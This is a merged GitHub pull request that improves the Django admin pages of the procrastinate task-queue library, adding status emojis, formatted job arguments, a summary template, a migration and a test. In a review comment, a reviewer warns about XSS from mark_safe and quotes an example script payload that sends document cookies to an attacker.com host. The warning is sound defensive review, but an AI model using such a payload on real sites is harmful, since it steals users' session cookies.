-
Notifications
You must be signed in to change notification settings - Fork 53
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Make django Admin interface support slightly better UX wise #1140
Merged
Merged
Changes from all commits
Commits
Show all changes
7 commits
Select commit
Hold shift + click to select a range
ba1060d
Make django Admin interface support slightly better UX wise
ticosax e260037
[pre-commit.ci] auto fixes from pre-commit.com hooks
pre-commit-ci[bot] 6086a96
Move summary.html to procrastinate/admin/summary.html to avoid shadowing
ewjoachim de8593c
Continue improving the admin with small details
ewjoachim 97f6248
Add __str__ to procrastinate models to improve appearance in the admi…
ewjoachim 7a6c2a4
Ensure the admin status emojis won't get out of sync with real statuses
ewjoachim ed99be3
Add __str__ for events too
ewjoachim File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,11 +1,62 @@ | ||
from __future__ import annotations | ||
|
||
import json | ||
|
||
from django.contrib import admin | ||
from django.template.loader import render_to_string | ||
from django.utils import timezone | ||
from django.utils.html import format_html | ||
from django.utils.safestring import mark_safe | ||
|
||
from . import models | ||
|
||
JOB_STATUS_EMOJI_MAPPING = { | ||
"todo": "🗓️", | ||
"doing": "🚂", | ||
"failed": "❌", | ||
"succeeded": "✅", | ||
"cancelled": "🤚", | ||
"aborting": "🔌🕑️", | ||
"aborted": "🔌", | ||
} | ||
|
||
|
||
class ProcrastinateEventInline(admin.StackedInline): | ||
model = models.ProcrastinateEvent | ||
|
||
|
||
@admin.register(models.ProcrastinateJob) | ||
class ProcrastinateJobAdmin(admin.ModelAdmin): | ||
fields = [ | ||
"pk", | ||
"short_task_name", | ||
"pretty_args", | ||
"pretty_status", | ||
"queue_name", | ||
"lock", | ||
"queueing_lock", | ||
"priority", | ||
"scheduled_at", | ||
"attempts", | ||
] | ||
list_display = [ | ||
"pk", | ||
"short_task_name", | ||
"pretty_args", | ||
"pretty_status", | ||
"summary", | ||
] | ||
list_filter = [ | ||
"status", | ||
"queue_name", | ||
"task_name", | ||
"lock", | ||
"queueing_lock", | ||
"scheduled_at", | ||
"priority", | ||
] | ||
inlines = [ProcrastinateEventInline] | ||
|
||
class ProcrastinateAdmin(admin.ModelAdmin): | ||
def get_readonly_fields( | ||
self, | ||
request, | ||
|
@@ -26,11 +77,41 @@ def has_add_permission(self, request, obj=None): | |
def has_delete_permission(self, request, obj=None): | ||
return False | ||
|
||
@admin.display(description="Status") | ||
def pretty_status(self, instance: models.ProcrastinateJob) -> str: | ||
emoji = JOB_STATUS_EMOJI_MAPPING.get(instance.status, "") | ||
return f"{emoji} {instance.status.title()}" | ||
|
||
@admin.display(description="Task Name") | ||
def short_task_name(self, instance: models.ProcrastinateJob) -> str: | ||
*modules, name = instance.task_name.split(".") | ||
return format_html( | ||
"<span title='{task_name}'>{name}</span>", | ||
task_name=instance.task_name, | ||
name=".".join(m[0] for m in modules) + f".{name}", | ||
) | ||
|
||
@admin.display(description="Args") | ||
def pretty_args(self, instance: models.ProcrastinateJob) -> str: | ||
indent = 2 if len(instance.args) > 1 or len(str(instance.args)) > 30 else None | ||
pretty_json = json.dumps(instance.args, indent=indent) | ||
if len(pretty_json) > 2000: | ||
pretty_json = pretty_json[:2000] + "..." | ||
return format_html( | ||
'<pre style="margin: 0">{pretty_json}</pre>', pretty_json=pretty_json | ||
) | ||
|
||
admin.site.register( | ||
[ | ||
models.ProcrastinateJob, | ||
models.ProcrastinateEvent, | ||
], | ||
ProcrastinateAdmin, | ||
) | ||
@admin.display(description="Summary") | ||
def summary(self, instance: models.ProcrastinateJob) -> str: | ||
if last_event := instance.procrastinateevent_set.latest(): # type: ignore[attr-defined] | ||
return mark_safe( | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Here, |
||
render_to_string( | ||
"procrastinate/admin/summary.html", | ||
{ | ||
"last_event": last_event, | ||
"job": instance, | ||
"now": timezone.now(), | ||
}, | ||
).strip() | ||
) | ||
return "" |
17 changes: 17 additions & 0 deletions
17
procrastinate/contrib/django/migrations/0030_alter_procrastinateevent_options.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
# Generated by Django 5.0.8 on 2024-08-08 14:27 | ||
from __future__ import annotations | ||
|
||
from django.db import migrations | ||
|
||
|
||
class Migration(migrations.Migration): | ||
dependencies = [ | ||
("procrastinate", "0029_add_additional_params_to_retry_job"), | ||
] | ||
|
||
operations = [ | ||
migrations.AlterModelOptions( | ||
name="procrastinateevent", | ||
options={"get_latest_by": "at", "managed": False}, | ||
), | ||
] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
48 changes: 48 additions & 0 deletions
48
procrastinate/contrib/django/templates/procrastinate/admin/summary.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
<ul style="padding: 0; margin: 0;"> | ||
<li style="list-style-type: none"> | ||
{{ last_event.type | title }} | ||
<strong title="{{ last_event.at|date:"Y-m-d H:i:s.u (e)" }}">{{ last_event.at|timesince }} ago</strong> | ||
</li> | ||
{% if job.queue_name %} | ||
<li style="list-style-type: none"> | ||
<strong>Queue:</strong> | ||
{{ job.queue_name }} | ||
</li> | ||
{% endif %} | ||
{% if job.lock %} | ||
<li style="list-style-type: none"> | ||
<strong>Lock:</strong> | ||
{{ job.lock }} | ||
</li> | ||
{% endif %} | ||
{% if job.queueing_lock %} | ||
<li style="list-style-type: none"> | ||
<strong>Queueing lock:</strong> | ||
{{ job.queueing_lock }} | ||
</li> | ||
{% endif %} | ||
{% if job.priority != 0 %} | ||
<li style="list-style-type: none"> | ||
<strong>Priority:</strong> | ||
{{ job.priority }} | ||
</li> | ||
{% endif %} | ||
{% if job.scheduled_at %} | ||
<li style="list-style-type: none"> | ||
<strong>Scheduled:</strong> | ||
<span title="{{ job.scheduled_at|date:"Y-m-d H:i:s.u (e)" }}"> | ||
{% if job.scheduled_at > now %} | ||
in {{ job.scheduled_at|timeuntil }} | ||
{% else %} | ||
{{ job.scheduled_at|timesince }} ago | ||
{% endif %} | ||
</span> | ||
</li> | ||
{% endif %} | ||
{% if job.attempts > 1 %} | ||
<li style="list-style-type: none"> | ||
<strong>Attempts:</strong> | ||
{{ job.attempts }} | ||
</li> | ||
{% endif %} | ||
</ul> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
from __future__ import annotations | ||
|
||
from procrastinate import jobs | ||
from procrastinate.contrib.django import admin | ||
|
||
|
||
def test_emoji_mapping(): | ||
assert set(admin.JOB_STATUS_EMOJI_MAPPING) == {e.value for e in jobs.Status} |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just so you know: it's dangerous to
mark_safe
elements that can be controlled by external sources.format_html
is exactly made for this: the html will be marked safe, but the dynamic elements within will be escaped.Imagine if someone submitted a task with
{"tag": "</pre><script>fetch('http://attacker.com/?'+document.cookies); </script><pre>"}
😱Whenever you use
mark_safe
, you have a 50/50 (rough estimate 😄 ) chance of introducing a XSS vulnerability. Only use that in last resort, and only if you're sure that you're doing it on 100% safe text.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
TIL